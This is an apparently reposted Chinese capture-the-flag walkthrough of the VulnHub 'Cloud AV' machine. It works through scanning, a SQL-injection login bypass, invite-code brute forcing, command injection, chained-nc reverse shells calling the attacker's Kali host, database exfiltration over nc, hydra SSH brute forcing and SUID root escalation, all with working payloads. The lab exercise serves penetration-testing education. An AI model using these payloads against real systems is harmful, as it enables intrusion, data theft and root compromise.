一起来打靶 02

虚幻大学 xuhss 496℃ 0评论

Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475

1|*0***0x00 靶机介绍**

靶机地址:BoredHackerBlog: Cloud AV ~ VulnHub

靶机难度:低(思路和技巧)

推荐虚拟机:VirtualBox

2|*0***0x01 内容简介**

  • 涉及的攻击方法

    • 端口扫描
    • WEB侦查
    • SQL注入
    • 命令注入
    • 密码爆破
    • 代码审计
    • NC串联
    • 本地提权
  • 简介

虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。

为了更加全面的还原真实渗透思路,所以即便是失败的尝试过程,我也为大家完整的进行了展示。同时最终的总结阶段,我增加了图示来突出渗透过程的线索,希望将成果与收获沉淀下来,成为学员头脑中可复用的经验。

  • 背景
+ 是一个云防病毒扫描服务!目前处于测试阶段
  • 打靶目标

    • 渗透该服务,找出漏洞并提权

3|*0***0x02 环境搭建**

下载好靶机.ova文件后导入到VirtualBox中即可

确保靶机和kali在同一网段中

kali IP地址:10.0.2.7

4|*0***0x03 主机发现**

因为靶机和kali在同一网段中,所以优先选择二层的主机发现技术

上次使用了arp-scan这个工具,本次使用arping,做同一件事情使用不同的工具原因如下

arp-scanarping对比

  • 相同点
    • 都可用来二层的主机发现
  • 不同点
    • arp-scan更倾向于渗透测试使用的工具,更接近于黑客工具的定位
    • arping是几乎所有的Linux发行版当中都会默认包含的一个工具,从工具的广泛度而言arping可以在更多的环境下使用它,因为在很多情况下,渗透的目标系统可能并不包含像arp-scan这种更倾向于黑客的工具

使用arping进行主机发现,短板是没有办法对一段的IP地址进行一次性的,统一的主机发现;所以使用时需要结合shell的循环语句

对kali所在的网段10.0.2.1-10.0.2.254进行扫描

执行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done

84e081dada6bf73156e7c0f220a05d09 - 一起来打靶 02

10.0.2.1-3这三个IP是虚拟机软件为了完成基本功能所使用到的IP,所以一定不是靶机IP,故10.0.2.8就为靶机的IP

10.0.2.8进行全端口的扫描

执行命令:sudo nmap -p- 10.0.2.8

7c3cbdc3673364583844b7934b2394b8 - 一起来打靶 02

扫描结果显示开放了228080两个端口,继续对228080两个端口进行服务版本的发现

执行命令:sudo nmap -p22,8080 -sV 10.0.2.8

这些命令和参数都是非常通用的,即便在真实的渗透环境下,基本上也是按照这样的顺序,先做主机发现,然后做端口扫描,最后再做服务和应用版本的发现

fb5bff0300d30ea8e0ac1e1565013377 - 一起来打靶 02

扫描结果显示

  • 22端口,开放的是OpenSSH 7.6p1这个版本的的SSH服务
  • 8080端口,开放的是https://blog.csdn.net/W00L00/p/16026360.html" target="_blank" rel="noopener">靶机01的情况完全相同

5|*0***0x04 WEB侦察**

既然开放了web服务,那么肯定要打开浏览器访问一下:http://10.0.2.8:8080

c3a9709d973dd4df4fa11e0f3348dd92 - 一起来打靶 02

从页面的提示信息中可以得到,这是一个云杀毒扫描器,需要输入邀请码成功登录后才可以使用,云查杀服务。

这里的邀请码本质上就类似于密码的作用,页面中的表单即为要攻破目标靶机的第一关任务

通过密码来进行身份验证的功能,攻击思路一般有两个

  1. 利用程序在服务端代码上的逻辑漏洞,通过sql注入的方式绕过身份验证
  2. 暴力破解方式,将密码破解出来

接下来逐一演示这两种方法,打靶的时候选择其中一种就可以了

5|*1***0x04-1 SQL注入绕过身份验证**

首先打开burpsuite并在浏览器上设置好burpsuite的代理

在页面表单中随便输入一点内容,点击Log in按钮

7fef6d6873f7bf37e7fa25381ca1eab4 - 一起来打靶 02

0aac9d3183cc4e539e46ff1253bb0626 - 一起来打靶 02

可以看到burpsuite抓取到了本次提交的数据包,将其发送到Intruder模块,利用其批量的,重复的数据提交能力向password这个位置提交一些特殊的符号,来测试服务端是否包含一些常见的注入漏洞

Intruder模块将password添加成数据的注入点

39e398b6a7a0e27e68e9d412456490a7 - 一起来打靶 02

配置Payloads,可以将键盘上的所有符号挨个注入一遍

背后的原因是在任何的编程语言环境中,键盘上可以输入的符号,比如:, ' " %,都具有特殊的功能性的作用,当在注入点注入了所有的符号后,如果在这个位置存在某种注入漏洞的话,往往就会导致服务器端代码执行出错或者触发漏洞,造成语义上的歧义,从而造成服务器端无法正常处理提交的请求,最后通过触发这些漏洞就可以发现服务器端可能存在的注入漏洞。

手动添加或导入以下内容的字典文件

`
~
!
@
#
$
%
^
&
*
(
)
-
\_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/

添加完成之后,点击右上角的start attack按钮,开始爆破

f9b3507a753cbc510499f2035d4ab4f2 - 一起来打靶 02

对于数据提交之后的结果筛选通常会有两种方法

  1. 通过响应的码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同

b0582e3ff50ee12391d4419fe77bd607 - 一起来打靶 02

  1. 通过响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的

084e452f6df04015eac96652ba8e7861 - 一起来打靶 02

结果显示,提交数据为"时服务器端响应码与其余的不同,而且响应的数据量远远大于其他数据提交请求的响应

查看几个响应码是200的数据包,发现返回的内容都是WRONG INFORMATION

288f0c01b504b7507eed7835ac865e0e - 一起来打靶 02

再查看响应码是500的数据包

d0f78680a142078ad1fa5a218ecb11e1 - 一起来打靶 02

通过查看响应内容发现,当提交数据为"的时候似乎触发了服务端的异常报错

从返回的报错中可以看到目标服务器的很多文件系统路径,发现当前服务端运行的应用程序具体放置在那个路径之下,文件名叫什么,透漏了很多服务端具体的信息,比如/home/scanner/cloudav_app/app.py

最后一行显示/home/scanner/cloudav_app/app.py第18行,由于注入了"而导致了这个报错,其中有一段是sql的查询语句,可以猜测提交的"似乎是被拼接到了当前的sql查询语句当中

拼接sql语句的代码为

select * from code where password="; + password + ";

当提交的数据为"时,sql语句就会变成这样

select * from code where password="; + " + ";

第一个"与我们提交的"进行了闭合,导致了最后一个"没有另外一个"与其闭合,从而触发了服务端代码执行的错误

这是一个典型的sql注入漏洞,尝试构造Payloads,攻击这条sql语句,实现在不知道密码/邀请码的情况下也可以登录后台

经常使用的一个攻击方法就是通过逻辑,Payloads如下

select * from code where password="; + " or 1=1-- + ";

由于or 1=1永远为真,所以不论双引号中包裹的是什么数据,最终在执行sql语句的过程中都会判定后面的判断语句为真

-- 表示的是sql语句中注释符(注意后面--还有有一个空格)

关闭burpsuite数据包拦截功能,通过浏览器提交构造的Payloads

" or 1=1-- 

ae0e03f8d81ba52b60cc4cc505ac4dda - 一起来打靶 02

点击log in按钮,提交到服务端

76a3f67c4fe6e7313d1ea3b58c2fb2c5 - 一起来打靶 02

成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀

5|*2***0x04-2 暴力破解邀请码**

首先打开burpsuite并在浏览器上设置好burpsuite的代理

在页面表单中随便输入一点内容,点击Log in按钮

7fef6d6873f7bf37e7fa25381ca1eab4 - 一起来打靶 02

0aac9d3183cc4e539e46ff1253bb0626 - 一起来打靶 02

可以看到burpsuite抓取到了本次提交的数据包,将其发送到Intruder模块,利用其批量的,重复的数据提交能力向password这个位置尝试进行爆破

Intruder模块将password添加成爆破点

39e398b6a7a0e27e68e9d412456490a7 - 一起来打靶 02

选择爆破密码使用的字典文件

fafa80158fa449965583dd1ebe722923 - 一起来打靶 02

在kali的/usr/share/wordlists目录下存放着很多的密码字典文件可供选择,本次就选择一个比较简单的,比如nmap.lst这个nmap通常使用的字典文件

加载好密码字典文件后,点击右上角的Start attack按钮开始爆破

26ba932b6fbcb5015addc1623322d715 - 一起来打靶 02

对于数据提交之后的结果筛选通常会有两种方法

  1. 通过响应的码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同

484ab113bb8b6a5b67daaa47f5efd443 - 一起来打靶 02

  1. 通过响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的

5fdfafa12a3c46423119a5e3fdb8bd06 - 一起来打靶 02

结果显示,提交password的服务器响应数据量远远大于其他数据提交请求的响应

查看几个响应数据长度是175的数据包,发现返回的内容都是WRONG INFORMATION

bd8450f4390ec78f20a1da659801a22b - 一起来打靶 02

查看唯一一个返回数据包长度是345的响应

3b39c657f1eba76785d2c6acf2200d91 - 一起来打靶 02

发现当提交数据为password时,服务端返回的响应包含重定向,重定向到了/scan路径下

尝试在浏览器表单中输入password并提交

2e4613ad66d48b39587801978296edc1 - 一起来打靶 02

点击log in按钮,提交到服务端

76a3f67c4fe6e7313d1ea3b58c2fb2c5 - 一起来打靶 02

成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀

6|*0***0x05 命令注入**

构想一下这个web应用程序是如何实现防病毒扫描的

fa8e28f79edd20106aaa1dfbad0178b3 - 一起来打靶 02

首先对于红框中的部分,很容易联想到在Linux系统中执行ls -l返回的结果,所以有理由猜测显示的文件就是放置在服务端的一些文件

可以猜测,当在表单中输入某个文件名比如hello并提交给服务器后,服务器端可能会调用某种杀毒软件比如xxxscan,执行命令xxxscan hello,来进行扫描

如果真是这样的话就可以利用Linux shell中的管道符来执行其他的命令

管道符号,是Linux一个很强大的功能,符号为一条竖线:"|"。

用法:command 1 | command 2

功能是把第一个命令command 1执行的结果作为command2的输入传给第二个命令command 2

利用管道构造Payloads

hello | id

在浏览器的表单中提交Payloads

d4c6f39ff9627e4c776e7276d12abfeb - 一起来打靶 02

等待片刻之后,发现注入的id命令的确被服务端执行了

81d6adf5052ab4d03844d3a68ce10503 - 一起来打靶 02

结果显示当前程序运行的账号是scanner,既然命令注入漏洞已证实存在,接下来就可以通过注入更多的执行来完成反弹shell的目的

7|*0***0x06 NC串联**

通过之前的扫描结果可以得知服务器端有Python的执行环境,所以可以使用靶机01中的Python反弹shell代码

但是在这里介绍一种新的方式,使用nc命令

查看服务器端是否有nc命令,构造Payloads

hello | which nc

在浏览器的表单中提交Payloads,等待片刻之后

3171e3fdcafbbb1f126d9b5b84846e8d - 一起来打靶 02

结果显示服务器端包含有nc这个命令,那么接下来就可以使用nc来反弹shell

首先在kali端启动侦听

执行命令:nc -nvlp 4444

67bb3d9ce96569355bf5202ddc84b86e - 一起来打靶 02

通常情况下nc命令都会有一个-e参数,可以指定在连接成功后,执行一个shell的终端,将接收到的数据放到shell终端中执行并返回结果

利用nc命令反弹shell,构造Payloads

hello | nc 10.0.2.7 4444 -e /bin/sh

在浏览器的表单中提交Payloads,等待一段时间之后,发现kali上的nc并没有接收到反弹的shell连接,这是因为

nc命令有很多的版本,在每一个Linux发行版当中都可能使用不同的版本,有的版本带-e参数,有的版本不带-e参数

-e参数去掉,看看能不能连接成功

构造Payloads

hello | nc 10.0.2.7 4444

在浏览器的表单中提交Payloads,等待片刻之后,发现服务端nc的基本连接成功可以正常使用

2f73b97a5fd61a9cb01f7ccd130887a1 - 一起来打靶 02

也就意味着服务器端nc的确存在且可以正常使用,只是不带-e参数

对于此种情况可以利用到一个使用nc的技巧,叫做

nc串联

具体使用方法是

nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

执行的逻辑是:nc 10.0.2.7 3333接收来自远程的命令,通过管道符|将命令传递给/bin/bash来执行,再次通过管道符|将命令执行的结果传输给nc 10.0.2.7 4444

利用此种方法需要再kali上开启两个侦听端口

执行命令:nc -nvlp 3333

nc -nvlp 4444

c5f3e68b613fe1b54b526922ac641407 - 一起来打靶 02

构造Payloads

hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

在浏览器的表单中提交Payloads,等待片刻之后

547c1a1893054abb331243344e2f049e - 一起来打靶 02

3333端口和4444端口连接都建立成功,并且在3333端口上输入命令,执行的结果会在4444端口这边显示出来,利用nc命令反弹shell成功

8|*0***0x07 查看SQLite数据库**

通过以上的ls命令可以看出在当前目录下存在app.pydatabase.sql等4个文件

首先对app.py进行代码审计一下,查看是否有提权的漏洞

执行命令:cat app.py

7966ddfdab23267078e017ae11dc1b00 - 一起来打靶 02

一番审计过后,并没有发现什么后期提权为root用户似乎并没有什么帮助

再来关注一下database.sql文件,使用file命令查看文件的格式

file命令用来识别文件类型,也可用来辨别一些文件的编码格式。它是通过查看文件的头部信息来获取文件类型,而不是像Windows通过扩展名来确定文件类型的。

执行命令:file database.sql

442edcbb6ec76b3e622eed0be942d331 - 一起来打靶 02

从结果中可以得知这是一个SQLite 3.x的数据库文件,结合之前sql注入返回的报错信息,有理由怀疑这个数据库文件就是web应用程序服务端使用的数据库,因为SQLite就是一个本地的数据库,数据库的内容都是以数据库文件的方式存放在目标服务器的文件目录下

这里面是否包括一些机密的信息呢?有理由要查看一下,尝试打开这个数据库文件

执行命令:sqlite

sqlite3

edd841447a8de7041c9ac8b000b57a45 - 一起来打靶 02

执行命令之后无任何回显结果,说明在目标靶机上没有sqlite解析环境,所以不得不将database.sql数据库文件下载到kali上进行解析

通过nc命令来传输文件

首先在kali上侦听一个端口,并将接收到的数据转发到db.sql这个文件当中

执行命令:nc -nvlp 5555 > db.sql

ad55fdd79f3641ea767edc9781f93a5f - 一起来打靶 02

在目标靶机上,通过nc连接kali,并通过重定向命令发送文件

执行命令:nc 10.0.2.7 5555 < database.sql

8c639651be59a506c72c1b905f50c7ce - 一起来打靶 02

1b4929be87aaf52879696a73624a3fa8 - 一起来打靶 02

命令执行完毕之后,在kali端接收到了连接,因为database.sql文件不是很大,很快就可以传输完毕,所以等待一会之后就可以结束nc在5555端口上的连接

查看当前目录

4272e3e6236387953ebd2424f012c473 - 一起来打靶 02

db.sql已经创建成功,使用kali中的sqlite打开数据库文件,

执行命令:sqlite3 ,进入sqlite的命令提示符下

d2bfb7a72ad4ddb73bf00c7d7c13da47 - 一起来打靶 02

接着查看数据库的内容

929cf5e4590fad54a4278f1b9e33430b - 一起来打靶 02

从显示的数据中可以看到,数据表code中只有一个字段password,其中导入了四个密码

9|*0***0x08 SSH爆破**

从数据库中获得了四个明文密码,又由于之前的扫描得知目标系统是开启SSH服务的,按照流程应该利用账号及这些密码尝试能否成功登录目标系统

首先查看目标系统中可以登录的用户账号

利用nc在目标系统上执行命令:cat /etc/passwd 或者 cat /etc/passwd | grep /bin/bash

091c75c221b9fd2e571996c71c2f8bca - 一起来打靶 02

从中可以得到3个可用于登录系统的账号

禁止用户登陆的 /bin/false和/sbin/nologin的区别

1 区别
/bin/false是最严格的禁止login选项,一切服务都不能用。
/sbin/nologin只是不允许login系统

小技巧:
查看 /etc/passwd文件,能看到各用户使用的shell

2.1 nologin
当用户配置成/sbin/nologin时,如果再使用该用户ssh到linux操作系统,会提示
This account is currently not available.

2.2 false
当用户配置成/bin/false时,ssh之后显示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root

不会有任何提示,用户切换不过去

将这三个账号保存为用户名字典文件user.txt,内容如下

0bbe6525c2cec214f7ed7792bbfc3a14 - 一起来打靶 02

再将数据库中的四条密码保存为密码文件pass.txt,内容如下

5d6d206f25204b8d1a3180ba545015d8 - 一起来打靶 02

使用hydra命令对SSH进行爆破

执行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8

7184fd6a6493080f62509ff8aa2b4449 - 一起来打靶 02

执行结果令人失望,没有在其中得到任何一个可用的账号密码,通过账号密码远程登录目标系统SSH服务的攻击意图失败了...

这是一个失败的尝试

当在做真实的渗透测试攻击时,经常会收集到看似有用的信息,比如账号密码信息,但是拿着已经获得的机密信息去做进一步攻击时往往是会失败的,虽然攻击结果是失败的,但是并不代表这这一次的尝试是无意义的,其实这些看似失败的尝试也是在进行渗透测试攻击思路中非常重要的一部分,所以当收集到这样的信息时,做这样的尝试是非常非常有必要的。

10|*0***0x09 SUID提权**

既然通过SSH爆破的攻击方式失败了,接下来就不得不在目标系统上进行其他的信息收集手段寻找可以成功提权的攻击手段

查看当前目录及子目录下的文件内容,看看有没有对提权有帮助的信息

603c03508434bd1e916aef227b606843 - 一起来打靶 02

一番查看并没有寻找对提权到什么有用的信息

回到上一级目录,再看看其他的文件内容信息

8aacd45b6e194dca3baf7f1c692ca87c - 一起来打靶 02

对于其中以.开头的隐藏文件也是有必要一个一个检查的,不过经过一番查看后在这些隐藏文件中也并没有发现对做提权攻击有帮助的信息

不多啰嗦了,接下来就直奔对做提权攻击有帮助的目标

可以看到在当前目录下有update_cloudavupdate_cloudav.c这两个文件名称相同的文件,其中update_cloudav是一个可执行的文件,那么就有理由怀疑update_cloudav.cupdate_cloudav的源代码文件

值得注意的是update_cloudav权限是-rwsr-xr-x,是带suid权限标记位的,更令人惊喜的是这个程序的属主是root账号

凡是具有suid权限标记位的可执行文件,当这个文件一旦执行的时候,无论当前是任何用户账号,在执行这个文件后就会默认继承这个文件属主的权限,也就是root的权限

可以设想一下如果可以执行update_cloudav程序,再通过某种命令注入的方法,利用它的suid权限标记位,若利用成功就可以用root权限来执行目标系统中的命令,包括任何可以反弹shell的命令,最终的结果就都会形成获得了一个root权限的反弹shell

所以suid位也是进行本地提权非常重要的一种手段,当然靶机01使用到的利用内核漏洞进行本地提权的手段也非常重要,它们俩都非常的常用

顺着这个思路,为了实现提权,非常有必要查看一下update_cloudav的源代码文件,看看这个程序是如何调用系统指令,如何跟系统进行交互的

利用nc在目标系统上执行命令:cat update_cloudav.c

9c7f52562b5b767dbcf3b9635005e1ae - 一起来打靶 02

简单查看之后,发现这个C语言源代码文件非常的简单,仅仅时调用了系统当时已经存在的程序freshclam,同时强制要求在执行的时候传递一个或多个命令行参数,最终将freshclam与传递的参数拼接起来执行。

其中freshclam是开源杀毒软件的ClamAV进行病毒库更新的程序,参考连接:ClamAV病毒查杀 - 简书 (jianshu.com)

C语言函数

函数名:setgid - set group identity(设置组ID)

函数名 setuid - set user identity(设置用户ID)

参考连接:

随便跟一个参数,执行一下update_cloudav试试

df0765f3c655b4ee6bcdc30b5bf50120 - 一起来打靶 02

程序似乎报错了

现在并不清楚关于这个日志文件freshclam.log的报错是否会影响update_cloudav程序的正常运行,进而又是否会影响尝试利用这个程序的suid权限标记位来达到提权的目的

在真实的渗透测试过程中,很多时候获得的信息也并不完整,所以很多情况下都需要大胆尝试,按照我们头脑当中构想的渗透思路,通过实践来验证我们的攻击思路

接下来不妨大胆的尝试一下再次利用NC串联来构造Payloads,进而反弹shell

构造的Payloads如下

"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

之所以要用双引号将所有的内容包裹起来是为了让update_cloudav这个程序将双引号中的内容全部作为执行它的命令行参数,从而继承它的的suid权限,获得root权限的反弹shell

在执行这个Payloads之前需要在kali行侦听55556666两个端口

执行命令:nc -nvlp 5555

nc -nvlp 6666

63065bce785449f61ea0a112e8b8f7eb - 一起来打靶 02

然后通过nc在目标系统上执行构造的Payloads

执行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

607480b104c3d5f16545e88be51a4d96 - 一起来打靶 02

执行完毕后查看kali端侦听的两个端口是否建立了连接

d8a0914fb576b8f80ce57059e9b7ae27 - 一起来打靶 02

可以看到连接成功建立,NC串联再次成功

可喜可贺,取得了root权限的反弹shell,本次打靶圆满完成!

11|*0***0x0a 总结**

  • 打靶过程图片概述

fe852d5ae8e8be03ef2629fcbebab495 - 一起来打靶 02

  • 打靶过程文字概述
    1. 首先做了主机发现,发现靶机IP地址之后,对它进行了端口扫描以及服务版本的扫描,进而发现了一个工作在目标靶机8080端口的HTTP服务
    2. 通过浏览器访问8080端口上的WEB服务,在默认的WEB页面上发现了sql注入漏洞,使用sql注入漏洞或暴力破解邀请码的方式登录到了WEB应用的后台
    3. 在后台页面中,很容易的发现的一个命令注入漏洞,并且利用这个命令注入漏洞获得了一个反弹shell
    4. 取得了反弹shell之后,要做的就是在目标靶机上进行信息收集,在这个阶段当中发现了一个数据库文件,在其中发现了一些疑似密码的字符串
    5. 利用这些疑似为密码的字符串尝试进行SSH密码暴力破解,然后并没有成功
    6. 于是不得不进一步再去收集更多的信息,最终在目标系统上发现了拥有suid权限的可执行程序
    7. 通过代码审计发现了代码当中的一些问题,并找到了利用suid提权漏洞的攻击方式
    8. 最终取得了目标靶机的root权限,完成了整个的打靶过程
  • 打靶过程对应的视频链接:点击查看

__EOF__

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MD6juTuJ-1648055627770)(https://blog.csdn.net/W00L00/p/16047437.html)]W00L00 本文链接:https://blog.csdn.net/W00L00/p/16047437.html关于博主:评论和私信会在第一时间回复。或者直接私信我。版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!

转载请注明:xuhss » 一起来打靶 02

喜欢 (0)

您必须 登录 才能发表评论!